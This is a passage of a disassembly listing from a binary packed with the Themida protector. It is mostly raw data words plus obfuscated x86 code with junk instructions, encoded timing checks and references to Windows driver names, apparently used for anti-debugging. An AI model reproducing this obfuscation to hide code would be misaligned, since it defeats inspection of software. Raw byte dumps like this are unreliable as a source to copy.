0ED8A2D4Bh, 0DE719B5Dh, 400F1FB0h dd 3C37F0Dh, 10A176ABh, 0B95C9B70h, 13B6C116h, 0DF7A797Ah dd 21C0AD46h, 0DF7E6F84h, 5BF6A846h, 1BE86B2Dh, 22BB38D8h dd 3DE299A4h, 7BA549C7h, 0DD806FF4h, 22CAA53Ah, 0A4D9209Fh dd 52B8E299h, 99A430C9h, 37B94FE2h, 103C9Eh, 0CA990000h dd 0FC830AADh, 0E299A4FDh, 0CC52F694h, 0D91BBC86h, 2552A13Eh dd 0DF0EE582h, 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h dd 234FA441h, 0E610E37Ch, 5124AE47h, 0C1815954h, 4, 8704E983h dd 685C240Ch, 3F2Dh db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], eax mov eax, 13882672h neg eax neg eax xor eax, 15966D50h mov esi, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 506Ah mov [esp], edx mov edx, 8 add edx, ecx mov [edx], esi pop edx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- db 18h, 5, 0ECh dd 1AEC7D42h, 1E68FAB8h, 0FFC50306h, 70B84FE0h, 0D9884E37h dd 0FBAAC964h, 0D2798D01h, 7C27E712h, 0D6008E38h, 0C1AB882Fh dd 58F5242Fh, 0EFF5D02Dh, 919F3661h, 97362D6Bh, 0C9D97951h dd 0E8282C73h, 0D211C33h, 0D2868B0Dh, 6E843h, 0BB780000h dd 891BD70Ah, 58F38B66h, 6506C081h, 680000h, 66000000h dd 5B08CBB9h, 60183C8Bh, 840F56h, 58000000h, 0EE9h, 0E451A500h dd 37F7625Dh, 314DC37Ch, 6164DE08h, 0A06C781h, 0B9664D89h dd 0EF8191B2h, 3B0E46Fh, 81C8BF0Fh, 0DC597FF7h, 3C89F52Fh dd 0C28B6018h, 0FE9h, 9E0CF800h, 1445F829h, 0EA8E3936h dd 0FEAB0E26h, 9E961h, 2B840000h, 48616B3Eh, 832FDF89h dd 0BA6601EBh, 4B4BE82Ch, 25BA664Bh, 94FB81A3h, 0FFFFF9Bh dd 0FFFF8385h, 1840FFFh, 0FC000000h, 83E9h, 52515300h dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h dd 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h dd 0FFFFFFF1h, 0DE8CA8Bh, 0EA000000h, 0C087C210h, 0B0CDF93Dh dd 6CDCCDEDh, 8E8h, 2DCD2400h, 9FCA6D7Eh, 0CEB70F81h, 8E0F5A5Bh dd 5, 97CDCCB8h, 68C28174h, 0E9000064h, 0Bh, 4B715678h dd 0D5A1E786h, 68681C5Bh, 18D3h, 68A0F60h, 0F000000h, 81h dd 11E900h, 22880000h, 4B9CEBCDh, 2A373583h, 12430AFFh dd 611DD76Ch, 1BF1815Fh, 0FF69DCF9h, 5E29B432h, 0EE9h dd 0D97DB100h, 0BACE61F9h, 0B9F4DFA8h, 81DF8C1Dh, 14E1CBF6h dd 0FE80Dh, 0FB5B0000h, 66333754h, 0A030AC0Ch, 42FF32D0h dd 580DB41Eh, 5BE1EE81h, 0BB6619E1h, 0F6810121h, 5D2B467Ah dd 6656EAB5h, 28FCA8Bh, 8E8h db 0 byte_5640BD db 1Dh, 7Eh, 0DDh ; DATA XREF: Themida_:0052D4FAo dd 0C5293515h, 840F3Dh, 5B000000h, 4A03EA83h, 4FC2BF0Fh dd 2B850Fh, 0E9560000h, 0Fh, 3C825468h, 64D95E15h, 0E1CA476Bh dd 584B164Bh, 26E9h, 0B6CB2A00h, 9BD1D015h, 3F5F7721h dd 343FDAA3h, 5DDF8097h, 0FFFF5EE9h, 68BA8EFFh, 26DEFAE4h dd 2E9D50BAh, 0E9F68523h, 400h, 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 0E4h dup(0) dd 56h, 45h, 0 dd 115AE9h, 0BE900h, 72DF0000h, 14288BEBh, 559BA5EBh, 0ED95894Ch dd 8B061B06h, 1B2DB985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 1FC7181Ah, 60F23197h dd 2EB5958Bh, 0BD31061Bh, 61B1415h, 39B58961h, 0F061B31h dd 1781h, 12E900h, 4ED10000h, 0BDC699FBh, 0B830B4E1h, 2739115Bh dd 684C1124h, 4244439h, 97850Fh, 9E90000h, 8E000000h, 0DFE50FAFh dd 0DEE88B2Bh, 2235BD83h, 0F00061Bh, 7C84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 509AAB8Ah, 0E8A0F3Dh, 60000000h, 880Fh, 8D8B0000h, 61B12C9h dd 1F858D61h, 6A061B39h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 89AFC356h, 1B2D658Dh dd 0E0FFF506h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 27C35747h, 0B5858BFCh, 0E9061B29h, 6, 7BB96A50h dd 4439A77Ch, 850F0424h, 58h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0FC35242h, 0B3980475h, 0FD07FA7h dd 68Eh, 418D8900h, 0C7061B0Ah, 1E702785h, 106h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 1B9F04E2h, 0E1852960h, 0E9061B02h, 27h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 50C35141h, 0A19D0946h dd 61B07h, 0B8000000h, 1, 71E28587h, 0C00B061Eh, 0B5FFF675h dd 61B239Dh, 701F858Fh, 206A061Eh, 95FFFF6Ah, 61B11A5h dd 1951BD83h, 7400061Bh, 0FF006A08h, 1B220595h, 0A1BD8306h dd 1061B2Fh, 80680D74h, 6A000000h, 0A595FFFFh, 6A061B11h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0C36AC355h, 393AD7E3h, 7E9FAh, 4A970000h dd 16907503h, 0E19D2932h, 0E9061B10h, 6, 0F97A261Eh, 8D89A90Ch dd 61B001Dh, 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0E1D9D5C3h, 603E9B78h, 3D958BF9h dd 61061B32h, 2824548Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 9DC35343h, 222DA9DAh, 0AC752780h, 258589FCh dd 6A061B07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0CEEDC353h, 8B6054EEh, 1B17ADB5h dd 0F6BF0F06h, 3CBE61h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0D2562BC3h, 0B5293EB7h dd 61B2FD5h, 24247403h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 8DC35747h, 0B6B75AD8h, 18D0Fh, 89FC0000h dd 1B3219BDh, 60AD6606h, 0B5B589F5h, 61061B1Ch, 2B19B501h dd 4403061Bh, 95892424h, 61B1435h, 168E0F50h, 0F000000h dd 108Eh, 0BE900h, 4A630000h, 0DC3DF5E7h, 4331367Ch, 24048983h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BAC35242h dd 57B59998h, 0F578408Bh, 6800Fh, 8D890000h, 61B03B1h dd 7027BD83h, 0F00061Eh, 0F985h, 5090F800h, 0EE952h, 4F70000h dd 0F2262692h, 0C8BD973Bh, 888443A4h, 0E860310Fh, 8, 0CAEEFF8h dd 0DE3E54F4h, 0CB8B665Ah, 50585A61h, 0EE9h, 7023AB00h dd 38E267D8h, 62E760Bh, 90AD707Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 20C35040h, 60F5B025h, 0F18BD68Bh dd 1B50161h, 0F061B21h, 0C87h, 6890F00h, 89000000h, 1B169985h dd 24448B06h, 7585892Ch, 50061B1Bh, 8C0F5250h, 19h, 14E9h dd 87D0600h, 756AF43Ah, 9BBE9AF1h, 1316E334h, 0B2C4A46Bh dd 50310F79h, 890F52h, 0F000000h, 0AE931h, 0C50C0000h dd 0F9C137A2h, 7143FF39h, 585A585Ah, 1240489h, 1B2C2585h dd 1840F06h, 0F9000000h, 4824858Dh, 890F061Eh, 0Ah, 5E9h dd 0E5267300h, 0D0FF2A70h, 0D998501h, 4403061Bh, 0BD892824h dd 61B0191h, 0F18408Bh, 186h, 6A40F800h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 5303C356h dd 0B3F489DFh, 9E9C3h, 0EC250000h, 56C63062h, 893A8F47h dd 1E702385h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 597F66A4h, 0AE9h, 0D6EB0F00h, 0D628CD61h dd 0F8E8B570h, 18B0F58h, 0FC000000h, 6A78708Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 9CC1C350h, 33EC0439h, 0E840F05h, 0E9000000h, 9, 0B7EE4346h dd 4F42D66Ah, 0B5660F6h, 1B2FA58Dh, 0BD8B5F06h, 61B18F1h dd 1CC68361h, 2FB99D01h, 8996061Bh, 1B2B558Dh, 49B50906h dd 81061B1Ah, 24247Ch, 0F100000h, 14587h, 0E9516000h, 0Ah dd 303F767Ah, 0AEC827DDh, 8A591157h, 0F9061CBh, 128Bh dd 61606000h, 8E8h, 5CCD6D00h, 0EABC68A2h, 5061583Ch, 50605250h dd 5A310F52h, 6E858h, 123C0000h, 0D5D162FFh, 310F615Ah dd 188B0Fh, 13E90000h, 73000000h, 0B22F5274h, 98926EA2h dd 4A82E201h, 82E8BF80h, 585AF908h, 0E8A0F90h, 60000000h dd 1ABFF181h, 8E0F7BEDh, 0 dd 24448B61h, 6830F28h, 29000000h, 1B062995h, 0E880F06h dd 0E9000000h, 9, 0B9DED757h, 0CDD37257h, 52509072h, 43B96660h dd 5EBE663Eh, 310F618Fh, 0DE860h, 0DB570000h, 6142A8C7h dd 0C3240901h, 590E5075h, 0A74BA66h, 50585A61h, 13E9h dd 0F874700h, 31D9C54Dh, 10A357Ch, 9D9D799Ch, 161FC099h dd 0B58B6090h, 61B1795h, 0DBFFBB66h, 198C0F61h, 0E9000000h dd 14h, 57496BC6h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh, 77D4F147h dd 4824858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 998094C3h, 1870F0Dh, 0FC000000h dd 8B60D0FFh, 1B0CD5BDh, 0E9966106h, 9, 3BB4E20Bh, 76CF4441h dd 2474033Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 7213CF07h, 0BD8D47F7h, 61B09B1h dd 0F9BD8960h, 31061B00h, 1B002985h, 6AAD6106h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0B585C356h, 8044A4EBh, 892C2CE9h, 1B0D29BDh, 247C8106h dd 24h, 39870F10h, 0F8000001h, 66B4B260h, 61A4F2BBh, 0EE86090h dd 1D000000h, 0C122344Ch, 579FF0BEh, 967E3408h, 81B86616h dd 52505B00h, 0FD98B66h, 6B33BB31h, 585A7046h, 5E95061h dd 9C000000h, 0A020025Eh, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 34342E54h dd 12E9CAh, 64420000h, 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h dd 0CE58EA80h, 2824448Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 91C35545h, 0EA6BC9C4h, 50500491h, 0F525052h dd 85h, 0F310F00h, 89h, 0F585A00h, 0E9525031h, 5, 6558A746h dd 0E9310F41h, 12h, 42E3C0ADh, 9AA9619Ah, 0B2AB2206h, 0F45BAD66h dd 585A1795h, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 2A15F094h, 6810Fh, 95010000h dd 61B0B81h, 4824858Dh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 103253C3h, 0C4F872FAh dd 9D89D0FFh, 61B1C71h, 24244403h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 5DC35242h, 714B465h, 0C0B12204h dd 6AABC7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 3A114AC3h, 0EF8A60B3h, 0E8F0Fh, 9E90000h dd 5F000000h, 0CBE780E2h, 0FD3894BDh, 0C810F61h, 60000000h dd 0B2DDB866h, 1A15958Bh, 8161061Bh, 10000FAh, 94820F00h dd 0F000006h, 88Ah, 85316000h, 61B2425h, 35BD8D61h, 0E9061B07h dd 0Dh, 79D3FE5Dh, 0A4D91E5Ah, 0FE8E0542h, 985891Eh, 0AD061B07h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 7AC35747h dd 8D31B4A5h, 61B0301h, 8D8BF960h, 61B0A8Dh, 247C8161h dd 24h, 9870F10h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 7C4DC356h, 78B92931h dd 0C800F03h, 0F000000h, 685h, 35850100h, 0F061B2Eh, 0C89h dd 6820F00h, 29000000h, 1B06A1BDh, 4D9D8906h, 50061B24h dd 9FE2BE60h, 0F60338Ah, 80h, 61E0B300h, 24048961h, 998D89F8h dd 8B061B2Fh, 0F5282444h, 0F525090h, 685h, 0F525000h, 0F585A31h dd 2850F31h, 60000000h, 50585A61h, 12E9h, 605D0200h, 2A7AB1DCh dd 0CBEA5A4h, 0BAC6BC64h, 909EDBF0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 2BC35747h, 786E8808h, 858DBD9Eh dd 61E4824h, 0EE9h, 45DE4B00h, 8F65667Ah, 1DF46368h, 895DD9D9h dd 1B0E31BDh, 6AD0FF06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0C07BC350h, 86DB78A1h dd 92F0FBF7h, 24244403h, 5D850960h, 29061B30h, 1B2931B5h dd 0F506106h, 0E80h, 830F6000h, 0 dd 310F5250h, 8961585Ah, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0BD1A0FC3h, 6B3C38EDh dd 0FAB51DFh, 0C84h, 6820F00h, 29000000h, 1B2281B5h, 5BD8D06h dd 0F061B1Fh, 0B80h, 6E900h, 0FDE30000h, 749BFE55h, 41B589ADh dd 81061B0Dh, 28247Ch, 0F100000h, 11B87h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0BE5A9917h, 2012AF5Bh, 6800F50h, 89000000h, 1B0F0595h dd 52505006h, 0BB59B660h, 2C027B2Fh, 0E9310F61h, 0Dh, 7F2047F1h dd 4D3DB53h, 0A873F2EEh, 89585A9Eh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9D8E2C3h dd 4F53F3FDh, 6E951h, 0E9DB0000h, 0A12009E5h, 2C24448Bh dd 0F159D01h, 0E950061Bh, 13h, 7E813A0Fh, 16AC8A59h, 40EF6AB6h dd 0A1BE8043h, 89CB2C0Eh, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0CECE0DC3h, 20A3C49h dd 858DFC14h, 61E4824h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 2BC35747h, 0B5858961h, 0FF061B22h, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0E4DE88D8h, 98FECE0h, 28244403h, 0E19D8B60h, 9061B0Ah dd 1B08958Dh, 6AAB6106h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0B04BC350h, 0F67F5D3Bh dd 9D0160F9h, 61B1F35h, 919858Bh, 0F861061Bh, 238DFF5Eh dd 83061E70h, 1E7023BDh, 0A750006h, 0B58DC033h, 61E7F6Ah dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h, 502C2444h dd 4824858Dh, 0D0FF061Eh, 28244403h, 8ADF8B97h, 1E701F85h dd 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h dd 74D03B5Ah, 0C6835E0Fh, 2585FF04h, 0E9061B07h, 0FFFFFF5Dh dd 13860F5Eh, 0E9000000h, 0Eh, 3FFF91Fh, 9F653618h, 0EF9932B2h dd 858916B9h, 61B122Dh, 725858Bh, 820F061Bh, 6, 1E718D31h dd 0E0D1061Bh, 2FB9B589h, 8B0F061Bh, 0Ch, 0E9BF6660h, 3D958B15h dd 61061B0Ch, 1F058503h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 73DBB3C3h, 13E23823h dd 0BE79B7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 71AC356h, 5E9h, 0C07D0E00h dd 6A96A393h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9D97C351h, 0BD0C2D9Bh, 0A117167Fh dd 0F08B6660h, 61CEB70Fh, 8D89AD66h, 61B0CC9h, 2E0C1F9h dd 13870Fh, 0EE90000h, 92000000h, 0C80AE239h, 8529F53Bh dd 148E954h, 0B1850332h, 0E9061B09h, 13h, 84F5BC49h, 0AFEC00CAh dd 179E521Dh, 5BBE5A99h, 962012AFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0DCC35141h, 97738FF6h, 5B395D25h dd 8A60AD60h, 3E54BFFDh, 81614CDEh, 24247Ch, 0F100000h dd 0D887h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 44313174h, 6830FBFh, 9000000h, 1B22B58Dh dd 0F609006h, 386h, 0FA8B6600h, 718AB866h, 8D0F5061h, 16h dd 0BE960h, 0BA770000h, 871D517h, 408FCD9Eh, 0DCBB66A3h dd 0E9906106h, 7, 0CEEDE3E1h, 8B7854EEh, 0E9282444h, 13h dd 25B92CC4h, 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 50A8BBE6h dd 11800Fh, 0B0600000h, 7E8F6h, 57940000h, 3C022227h, 89615F95h dd 8D292404h, 61B3009h, 4824858Dh, 6A061Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D0FFC2C3h dd 0B8A0Fh, 81600000h, 0C576FC3h, 0FB8B6600h, 24440361h dd 25B58924h, 89061B1Dh, 0F91C2444h, 239D85C6h, 0C700061Bh dd 1E71E285h, 6, 2785C700h, 61E70h, 0F9000000h, 13820Fh dd 830F0000h, 0Dh, 8E9h, 492FCF00h, 0AC3008C3h, 0BD896154h dd 61B1791h, 0F0008C2h, 0C8Dh, 6890F00h, 29000000h, 1B1B459Dh dd 81666006h, 665EB6E6h, 8B61D18Bh, 1B09B185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0C8762D75h, 0B0BBB57h, 9E93Bh, 19800000h, 68A80D53h dd 4AF4BA02h, 0AE9h, 44C96700h, 0EE92FC97h, 6B7BBD70h dd 3F804D2h, 50006AC2h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 27EC5838h, 723295A1h, 0B52982A0h dd 61B0EDDh, 12E996h, 0D88A0000h, 21D11621h, 6C32374Dh dd 0DEDD11F7h, 879F20A7h, 68A0F60h, 89000000h, 1B24D985h dd 0AD61FC06h, 5E9F9h, 496F0000h, 817A4203h, 24247Ch, 0F100000h dd 0FB87h, 6090F800h, 8E85250h, 7C000000h, 0D4CA804Fh dd 5882B7F6h, 5953310Fh, 5660585Ah, 60BA6658h, 50616176h dd 8860Fh, 8C0F0000h, 2, 6A906160h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B38C352h dd 7E062E76h, 0E890F70h, 60000000h, 769BD29h, 8A0F061Bh dd 0 dd 24448B61h, 0FDB52928h, 50061B0Ah, 61606060h, 0E861F88Ah dd 0Fh, 9F4B78B1h, 0C00B5218h, 0A7090291h, 0E9907665h dd 0Eh, 0FC75F730h, 2E55EDC8h, 6E88082Bh, 615B9E78h, 0F240489h dd 683h, 5D858900h, 8D061B16h, 1E482485h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0EB196865h, 5C0A3EE8h, 1E958509h, 880F061Bh, 0Ch, 6830Fh dd 0B5890000h, 61B28E9h, 0B589D0FFh, 61B0699h, 0FFFDDCE9h dd 0C18529FFh, 8D061B03h, 1E853D85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 9829FE73h dd 19F74DEh, 1B18A195h, 0F98D8906h, 90061B0Bh, 52505250h dd 310F5250h, 310F585Ah, 0DE9h, 0B98C7700h, 0E12B8DC5h dd 0BBCB65DAh, 585A535Fh, 8B0F310Fh, 2, 585A6160h, 60525050h dd 0AD50C6BBh, 8A0F60h, 61000000h, 890F310Fh, 6, 310F5250h dd 585A585Ah, 5E990h, 0DD130000h, 644E4AD8h, 35FFh, 0F600000h dd 285h, 0E8595100h, 11h, 525A856Fh, 4AD0A8C5h, 145A4F76h dd 6A25925Dh, 8995293Ch, 5F061B16h, 0B830F61h, 0E9000000h dd 6, 4DD3F28Eh, 48B6641h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E64707EDh dd 8909A45Eh, 1B06FD85h, 9D296006h, 61B1945h, 7BD8D03h dd 6461061Bh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0B9138CC3h, 60B95CB2h dd 2BB5B589h, 8D61061Bh, 1E831385h, 59D0906h, 0FC061B31h dd 6A016089h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0CBDFC355h, 5154CDD5h, 25E1BD89h dd 0E9F9061Bh, 26Fh, 0F877BE60h, 0E5800C13h, 0DB8B6188h dd 0E8h, 0ED815D00h, 61E830Ch, 12FF9CBCh, 0A1BD8300h, 61B2Fh dd 858B1874h, 61B3031h, 8B0000C6h, 1B1E9985h, 0C606h, 2FBD95FFh dd 0FF60061Bh, 1E6C2BB5h, 2F858D06h, 50061E6Ch, 6E27858Dh dd 0FF50061Eh, 1B2D7195h, 0CC48306h, 50006A61h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 20F7F5C1h dd 0DD29FD8Fh, 12E93F26h, 55000000h, 4383995Eh, 54D275D5h dd 66DEBA0Ch, 757BA001h, 27B58D98h, 6A061E6Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0E128C350h, 5DBD8D39h, 6A061B14h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 80E4C355h dd 840F003Eh, 5Ah, 6AA4F5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 840F1DC3h, 1, 0B99589FCh dd 0E9061B12h, 0FFFFFFC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0F9C35747h, 1670212Ah, 95D677D2h, 2DDD8509h dd 0B8061Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0F36FC350h, 9FC46FC5h dd 0F98E8FDBh, 55006AAAh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0F6F1607h, 5EEBB7A5h dd 6060F9D7h, 0D583E9BAh, 8E0F45h, 61000000h, 1A2D8D8Bh dd 0B861061Bh, 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 48C35646h, 8C0F7D2Ch, 0Ah, 29616060h, 1B29D985h dd 0F606106h, 0C761DBB7h, 1B111585h, 106h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 1E0D2111h, 0BD29076Ah, 61B1101h, 0AFD9501h, 8D8D061Bh dd 61B4CD3h, 0B99D89F5h, 0FF061B23h, 12E9E1h, 5CC30000h dd 0CBBD8058h, 8192E1F3h, 0CA253266h, 561EE1C7h, 31198531h dd 5C8B061Bh, 0E8550C24h, 0 dd 47ED815Dh, 8B061E85h, 0B883h, 2B858900h, 8D061E6Ch dd 1E830585h, 0B8838906h, 5D000000h, 1C3C033h, 1B2DD1BDh dd 6AF906h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0EA8D4AC3h, 0A05597A3h, 8A0F604Fh, 16h, 11E9h dd 0D7C1ED00h, 0BD501A18h, 0D1C1DF1Bh, 6FD0733Ah, 8B668299h dd 6A6061F7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0B506C353h, 9360FAAEh, 0C1B12543h dd 87B7858Dh, 0BE9061Eh, 76000000h, 17F5E43h, 7CA423BFh dd 5050B63Eh, 7E952h, 5ECA0000h, 0D1D1E6E0h, 60310FAAh dd 0BE8h, 5953200h, 0F2366F07h, 0B8C562ABh, 585A615Fh dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0BE54C356h, 8B59B12Dh, 35FF6416h dd 0 dd 0D08B6060h, 0B909C781h, 8B61730Ah, 1B06558Dh, 0BE96106h dd 97000000h, 1261552Eh, 0B1B73BD2h, 89640343h, 25h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 72C5DC34h, 89E8DC69h, 1B1EBD85h, 41858D06h, 0F061E88h dd 0D80h, 81666000h, 8B86F3C9h, 1B08CDBDh, 50606106h, 3499529h dd 615F061Bh, 6A016089h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0BF5BC356h, 9D09601Dh dd 61B0005h, 61D8BF0Fh, 239D85C6h, 0F4F061Bh, 148Eh, 0FE900h dd 86B60000h, 0ACDA5E64h, 3937AAC6h, 14B4655Dh, 7DA06807h dd 6660F892h, 0B15BCBBAh, 34816166h, 5A098A24h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 7BFDC153h, 0B12F0h, 11B5FFFCh, 0F8061B2Fh, 33519589h dd 858D061Bh, 61E7046h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0DDC35646h, 0BE817A1Eh, 0E95974B0h, 7 dd 55C8547Eh, 89C0371Bh, 1B3039B5h, 6AD0FF06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 2CF9C357h, 7E9FC9Ch, 0D5000000h, 0D247C36Eh, 8BE9C11Eh dd 0F9000000h, 0C245C8Bh, 0E855h, 815D0000h, 1E87C1EDh dd 0F9858B06h, 89061B2Bh, 1B2F1185h, 0B5858B06h, 89061B29h dd 1B29C185h, 0B9858B06h, 89061B2Dh, 1B0B4585h, 9D85C606h dd 61B23h, 71E285C7h, 61Eh, 858D0000h, 61E8841h, 0B88389h dd 335D0000h, 0AE9C3C0h, 28000000h, 4C8E83CEh, 0F03AFCFFh dd 50006A5Bh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 9B1A6583h, 32899589h, 74BC061Bh, 6A0012FFh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0BC14C352h, 8D314616h, 61B2EDDh, 58F64h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0E1F2C350h, 0E9CEEDE3h, 0Eh, 3598261Ch dd 14AFCD3Eh, 0F6BCC10h, 0F600461h, 87h, 45BD8B00h, 61061B12h dd 3104C483h, 1B02D19Dh, 34EB6106h, 4D534649h, 20205247h dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h dd 20203233h, 4C445856h, 20205244h, 3 dup(0) dd 72DE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 602D32FEh, 53608AB6h, 6161F558h dd 1870F60h, 0FC000000h, 88E785C7h, 61Eh, 8BF80000h, 55006AC6h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 